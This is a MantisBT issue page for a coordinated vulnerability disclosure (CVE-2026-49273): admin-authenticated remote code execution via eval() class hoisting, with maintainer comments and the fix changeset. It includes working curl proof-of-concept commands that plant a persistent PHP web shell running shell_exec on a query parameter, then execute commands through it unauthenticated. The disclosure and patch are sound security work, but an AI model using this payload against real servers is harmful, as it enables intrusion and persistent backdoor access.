View Issue Details

IDProjectCategoryView StatusLast Update
0037122mantisbtsecuritypublic2026-07-15 08:07
Reportermccaulay Assigned Todregad  
PriorityurgentSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Product Version2.28.1 
Target Version2.28.4Fixed in Version2.28.4 
Summary0037122: CVE-2026-49273: Remote Code Execution via eval() Class Hoisting in Admin Configuration Set
Description

watchTowr Vulnerability Report (WT-2026-0067)

  • Product affected: Mantis Bug Tracker
  • Version tested: 2.28.1
  • Platform: Linux
  • CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

watchTowr Vulnerability Disclosure Policy

The vulnerability is subject to our standard 90-day disclosure timeline. See https://labs.watchtowr.com/vulnerability-disclosure-policy for more details.

Credits:

McCaulay Hudson (@_McCaulay) of watchTowr

Vulnerability Details - Remote Code Execution via eval() Class Hoisting in Admin Configuration Set

MantisBT 2.28.1 contains a remote code execution vulnerability in the admin "Manage Configuration" feature (adm_config_set.php). When setting a configuration value with a non-string type (integer, float, complex), the value is passed through ConfigParser -> Tokenizer, which calls eval() with a return; prefix intended to prevent code execution.

However, PHP hoists function and class declarations at compile time, even past a return; statement. An attacker can define a class in the eval()'d code that hijacks a class loaded later via PHP's autoloader, achieving arbitrary code execution.

This vulnerability requires administrator access to the web UI (adm_config_set.php). The REST API's ConfigsSetCommand does NOT use Tokenizer/eval() and is not affected.

Root Cause

1. eval() with Bypassable Guard (core/classes/Tokenizer.class.php, lines 53–55)

$t_code = 'return; ' . $p_code . ';';
eval( $t_code );

The return; statement prevents most code from executing at runtime. However, PHP processes class, function, and enum declarations at compile time (hoisting), meaning they are registered in the global scope regardless of whether they appear after return;.

2. Autoloader Race Condition

The ConfigsSetCommand class is not loaded during the core.php bootstrap. It relies on MantisBT's autoload_mantis() autoloader (spl_autoload_register), which is only triggered when a class is first referenced. Since the eval() runs before ConfigsSetCommand is first referenced in adm_config_set.php, the attacker's hoisted class definition takes precedence over the autoloader.

3. ConfigParser Ignores Extra Tokens

ConfigParser->parse() is called with EXTRA_TOKENS_IGNORE mode. It parses the leading integer (42) as a valid value and silently ignores the remaining tokens (the class definition), returning the integer. This means the hoisted class survives parsing without raising an error.

Attack Flow

  1. Admin sends a POST request to adm_config_set.php with type=integer and a value like:
    42; class ConfigsSetCommand { ... }
  2. Tokenizer.__construct() runs eval('return; 42; class ConfigsSetCommand { ... };').
    The return; prevents 42 from evaluating, but ConfigsSetCommand is hoisted.
  3. ConfigParser->parse() parses 42 as a valid integer and ignores the class tokens.
  4. adm_config_set.php then calls new ConfigsSetCommand($t_data). Since the class was already defined by the eval hoist, PHP skips the autoloader and uses the attacker-defined class.
  5. $t_command->execute() runs the attacker's code as www-data.

Proof of Concept

Step 1: Plant a PHP Backdoor via Class Hoisting

The payload hoists a ConfigsSetCommand class whose execute() method writes a PHP backdoor to config/custom_constants_inc.php, which is auto-included by core.php on every page load.

First, get the MANTIS_STRING_COOKIE of an administrator.

Next, obtain the adm_config_page CSRF token:

$ curl -s -b 'PHPSESSID=0c3a08d10dc1e8aa08dc7f82817b200c; MANTIS_STRING_COOKIE=7MmaGY7_bZ-xIvkFq0PEtZDrhMhlM35aQHdqtGSRYM0hktfOdNS8dA-0x_yZNKUo' \
    'http://localhost:8989/adm_config_page.php?action=create' \
    | grep -o 'adm_config_set_token" value="[^"]*"'

Using the administrator authentication cookie and the CSRF token, trigger the vulnerability:

$ curl -s -b 'PHPSESSID=0c3a08d10dc1e8aa08dc7f82817b200c; MANTIS_STRING_COOKIE=7MmaGY7_bZ-xIvkFq0PEtZDrhMhlM35aQHdqtGSRYM0hktfOdNS8dA-0x_yZNKUo' \
  'http://localhost:8989/adm_config_set.php' \
  --data-urlencode 'adm_config_set_token=202605130DEaEf7MSZrgMMK1DIb5LBAa6RLqauJz' \
  --data-urlencode 'user_id=0' \
  --data-urlencode 'project_id=0' \
  --data-urlencode 'config_option=recently_visited_count' \
  --data-urlencode 'type=1' \
  --data-urlencode 'value=42; class ConfigsSetCommand { public function __construct($d) {} public function execute() { '\
'file_put_contents("/var/www/html/config/custom_constants_inc.php", '\
'"<?php if(isset(\$_GET[chr(99)])){echo shell_exec(\$_GET[chr(99)]);die();} ?>"); return []; } }' \
  --data-urlencode 'original_user_id=0' \
  --data-urlencode 'original_project_id=0' \
  --data-urlencode 'original_config_option=recently_visited_count' \
  --data-urlencode 'action=create'

EDIT (dregad): break long line

Confirmed Output

The server responds with HTTP/1.1 302 Found (redirect to config page), indicating the config was set successfully. The backdoor file is created:

$ cat /var/www/html/config/custom_constants_inc.php
<?php if(isset($_GET[chr(99)])){echo shell_exec($_GET[chr(99)]);die();} ?>

Step 2: Execute Commands via the Backdoor

The backdoor is auto-included by core.php on every page load via:

// core.php line 116-117
if( file_exists( $g_config_path . 'custom_constants_inc.php' ) ) {
    require_once( $g_config_path . 'custom_constants_inc.php' );
}

Any page can be used to execute commands, including unauthenticated pages:

$ curl -s 'http://localhost:8989/login_page.php?c=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

  • Remote code execution as the web server user (www-data) from an authenticated administrator session
  • The planted backdoor persists: core.php includes custom_constants_inc.php on every request
  • After the backdoor is planted, any unauthenticated page can be used for command execution
  • The config/ directory is writable by default (MantisBT requires it for install.php to write config_inc.php), and .htaccess protection is irrelevant because require_once() is a filesystem operation
Additional Information

GitHub: https://github.com/McCaulay

TagsNo tags attached.
Attached Files

Activities

dregad

dregad

2026-05-25 06:47

developer   ~0071160

Advisory https://github.com/mantisbt/mantisbt/security/advisories/GHSA-v84x-qvhg-f36r created and CVE request sent.

The config/ directory is writable by default (MantisBT requires it for install.php to write config_inc.php

For the record, MantisBT does not require this directory to be writable at all; if it is not the installer will simply display the generated config file's contents and let the admin create the file. The only things that need to be writable is the uploads directory (and the log file, if enabled).

dregad

dregad

2026-05-25 07:41

developer   ~0071164

Proposed patch for review https://github.com/mantisbt/mantisbt-private/pull/15

dregad

dregad

2026-05-29 18:49

developer   ~0071186

CVE-2026-49273 assigned.

Related Changesets

MantisBT: master-2.28 78c0af63

2026-05-25 07:01

dregad


Details Diff
Remove use of eval() in Tokenizer class

eval() was used to check syntax but the safeguard still allowed code
injection because PHP evaluates classes and functions at compile time.

Leveraging the autoloader, an attacker could achieve remote code
execution by defining a rogue ConfigsSetCommand class.

We now rely on token_get_all()'s TOKEN_PARSE flag [1] to check syntax,
which will throw a ParseError exception just like eval() does, but
without executing the code.

Fixes 0037122, GHSA-v84x-qvhg-f36r

[1]: https://www.php.net/manual/en/function.token-get-all.php
Affected Issues
0037122
mod - core/classes/Tokenizer.class.php Diff File